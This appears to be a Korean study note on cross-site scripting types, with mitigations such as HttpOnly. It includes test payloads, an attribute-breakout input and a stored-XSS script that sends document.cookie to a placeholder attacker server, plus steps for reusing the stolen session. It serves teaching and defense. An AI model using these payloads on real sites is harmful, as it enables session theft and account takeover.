XSS : Cross-Site Scripting
동적으로 출력하는 페이지에 클라이언트 언어로 작성된 악의적인 스크립트를 삽입하여 비정상적인 행위를 하는 공격.
CSS와 이름이 겹치는 것을 방지하기 위해서 CSS가 아닌 XSS라고 말한다.
기능적인 공격 대상
엔드 포인트 단의 공격 대상
피싱
악성코드 유포
강제 악성코드 다운로드 및 실행 후 악성코드 설치
DBD(Drive by Download)
랜섬웨어
XSS Tunnel 또는 XSS Shell
세션 하이재킹
CSRF
DOM-BASED XSS : 웹 브라우저에서 사용자 입력값을 통해 동적 페이지 구성
REFLECTED XSS (반사형 XSS) : 서버 측에서 사용자 입력값을 통한 동적 페이지 구성
STORED XSS (저장형 XSS) : 데이터베이스에 저장된 데이터를 통한 동적 페이지 구성
1. DOM-BASED XSS 공격 원리
2. REFLECTED XSS 공격 원리
3. STORED XSS 공격 원리
STORED XSS는 저장형 XSS이기 때문에 지속적인 XSS이다. (Persistent)
alert()
confirm()
prompt()
위 세 가지 방법을 통해 XSS의 취약성이 존재하는지 확인이 가능하다.
예시1) <script> alert(document.cookie)</script>
예시2) <img src="">
STORED XSS를 통한 세션 하이재킹 공격 원리
DB에 저장된 악성 스크립트가 담긴 페이지를 사용자가 전달받게 되고 스크립팅이 이루어지게 되며 공격자에게 Session을 보내게 된다.
사용자에게 전달받은 Session을 공격자가 도용하여 사용하게 된다.
예시 1번
게시글을 작성할 때 <script>new Image().src="http://공격자 서버/session.php?session="+document.cookie</script>
와 같이 해당 스크립트를 작성하게 되면 악성 스크립트가 담긴 게시글을 읽은 사용자는 공격자 서버에 있는 session.php라는 파일에 현재 사용자의 세션 값을 획득할 수 있게 된다.
세션을 탈취한 후, 개발자 도구(F12)를 활성화하여 어플리케이션의 쿠키 탭으로 들어가 탈취한 세션 값을 넣어주면 탈취한 세션을 사용할 수 있게 된다.
참고) location.href를 사용하지 않은 이유는 리 다이렉션이 되기 때문이며 img 태그를 통해 더 자연스러운 세션 하이재킹을 위해서 이미지 태그를 사용하였다.
예시 2번 - 꺽쇠 사용 가능한 경우
해당 시나리오는 마이페이지에서 input 값을 통해 악성 스크립트를 꺽쇠(<,>)를 이용한 방식이다.
마이페이지에서 변경할 수 있는 input 값에 input 값"><script>alert(document.cookie);</script>
를 입력한 후 수정을 하게 된다.
참고로 예시 2번 방식은 Stored XSS 방식이다.
WHY? 변경하려는 사용자의 정보를 DB에 저장하기 때문에 해당 스크립트까지 저장이 되어있는 상태이기 때문이다.
예시 3번 - 꺽쇠 사용이 불가능한 경우 + 더블 쿼터 사용이 가능한 경우
해당 시나리오는 예시 2번을 통해 꺽쇠를 사용하여 세션 하이재킹을 하려고 하였지만 꺽쇠에 대한 시큐어 코딩이 적용되어있어 더블 쿼터(")를 사용하여 공격을 진행하는 방식이다.
마찬가지로 input 값" autofocus="
까지 입력을 하여 꺽쇠에 대한 시큐어 코딩을 피하며 더블 쿼터를 이용하여 스크립트를 발생시킬 수 있다.
XSS 방지
HTTPOnly 헤더 : document.cookie 객체 접근 불가능.
세션 발급 시 인증 ip 넣기 : ip 검증 (매 페이지 마다 검증을 해야한다는 단점이 존재). 공인 ip를 사용한다면 해당 대응 방식이 적용되지 않는다.
용도에 맞는 대응 방안을 파악하여 대응하는 것이 좋다.
숫자, 단순 문자, 문자+특수 문자, HTML 사용 여부 등을 파악 후 용도에 맞는 방법으로 대응하는 것이 좋다.
추가적으로 여러 대응 방안을 합쳐서 사용하는 방식도 있다.